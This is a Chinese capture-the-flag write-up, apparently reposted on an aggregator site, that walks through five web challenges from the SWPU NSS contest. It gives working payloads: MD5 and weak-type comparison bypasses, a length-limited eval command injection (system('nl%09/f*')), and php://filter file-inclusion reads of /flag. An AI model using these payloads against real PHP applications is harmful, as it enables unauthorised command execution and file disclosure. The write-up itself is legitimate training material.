IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge) -> 正文阅读

[PHP知识库]【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

1、奇妙的MD5

  1. 查看head,发现有md5绕过

  1. 这边有一个算是万能绕过的字符:ffifdyop,根据函数md5加密后,再次转换为字符串时,会变成’or’6,此时函数一定为真。(具体内容可以查一查md5($pass,true)函数)

输入后跳转页面

  1. 查看一下源码,存在一个MD5弱类型绕过,

数组绕过一下:/?x[]=1&y[]=2

  1. 跳转了页面,访问一下,md5强类型绕过

还是数组绕过就可以:wqh[]=1&dsy[]=2

然后就出flag了

2、whereami

  1. 这题,应该算是信息搜集吧,给了一张图,说是11位,应该是电话号码,百度识图一下:百度识图搜索结果

查到应该是在成都,锦江区的某个酒店吧,看一下图片的名字,我眼神不好,应该是古*酒店,百度搜索一下,应该是叫古迹酒店

  1. 查一下成都锦江区古迹酒店

  1. 尝试一下,电话号码,跳转页面,成功

3、webdog1__start

  1. 打开页面,查看源码,存在一个弱类型md5绕过,需要一个特殊值:0e215962017来进行绕过。

构造一下:?web=0e215962017

  1. 传值后跳转到下一个页面:

这地方没找到什么,只有一个能点击,应该是大佬的博客,页面跳转,应该不是题目内容了,所以抓个包看看

  1. 抓包后,在响应包里找到了一个页面,访问一下试试

  1. 访问后,又找到一个页面,继续访问

  1. 找到了一个php页面,应该也是一个绕过吧
<?php
error_reporting(0);


highlight_file(__FILE__);



if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}


    

?>

分析一下,两个部分:第一个是strstr()函数,与str_ireplace()函数配合使用吧

Get值正常输入,没有问题,不能带flag,因为带flag会替换成空格,就不能过掉strstr()函数,也不能存在空格。

构造一下:?get=system(ls);

  1. 能运行命令,但是还有一条长度不能超过18,

构造语句:用%09能代替空格

看看根下,确实有flag

  1. 尝试构造语句,查看一下flag

语句:?get=system('nl%09/f*');

最后出flag

4、ez_ez_php

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

首先,访问一下flag.php,

  1. 尝试一下伪协议,这边还有一句real_flag_is_in_'flag'

所以构造一下:

http://url/?file=php://filter/read=convert.base64-encode/resource=flag

  1. 这边应该是base64,解密一下,出flag

5、ez_ez_php(revenge)

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

这边跟上一次,伪协议类似,看看flag.php

这次说是在/flag处,用伪协议

  1. 咱们直接搞:

http://url/?file=php://filter/read=convert.base64-encode/resource=/flag

  1. 还是base64解密,出flag

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-31 11:33:57  更:2022-10-31 11:34:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/18 10:00:10-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码